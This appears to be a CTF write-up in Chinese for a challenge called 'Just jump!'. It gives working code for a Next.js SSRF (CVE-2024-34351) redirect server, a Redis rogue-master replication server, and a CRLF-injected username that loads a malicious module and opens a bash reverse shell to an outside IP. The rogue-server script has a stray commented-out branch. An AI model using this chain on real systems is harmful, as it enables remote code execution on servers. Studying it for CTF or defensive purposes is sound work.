Just jump!
通过源码结构及flag文件位置,猜测是通过前端走私/SSRF到后端然后打redis的RCE
通过依赖检查发现Next.js存在一个SSRF的洞,https://github.com/azu/nextjs-CVE-2024-34351,通过一个SSRF server和修改Host Origin头即可
SSRF server:
from flask import Flask, request, Response, redirect
app = Flask(__name__)
@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.11.0.3:5000/'
return redirect(ssrfUrl)
if __name__ == '__main__':
app.run(port=1337, host='0.0.0.0', debug=True)
在get_user时,会对redis发起 RESP 请求
可以直接打主从复制rce,构造fake server
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break
if __name__=="__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)
构造ssrf请求
from flask import Flask, request, Response, redirect
import urllib.parse
app = Flask(__name__)
@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
padding = "\r\n"
inject = "$1\r\na\r\n"
# 主从
#inject += "SLAVEOF 1.1.1.1 21000\r\n\r\n\r\nCONFIG SET dbfilename exp.so\r\n"
# 执行命令
inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"bash -i >& /dev/tcp/1.1.1.1/1338 0>&1\"'\r\n"
padding += inject
user = "admin"*len(padding)+padding
ssrfUrl = f'http://172.11.0.3:5000/login?password=&username={urllib.parse.quote(user)}'
return redirect(ssrfUrl)
if __name__ == '__main__':
app.run(port=1337, host='0.0.0.0', debug=True)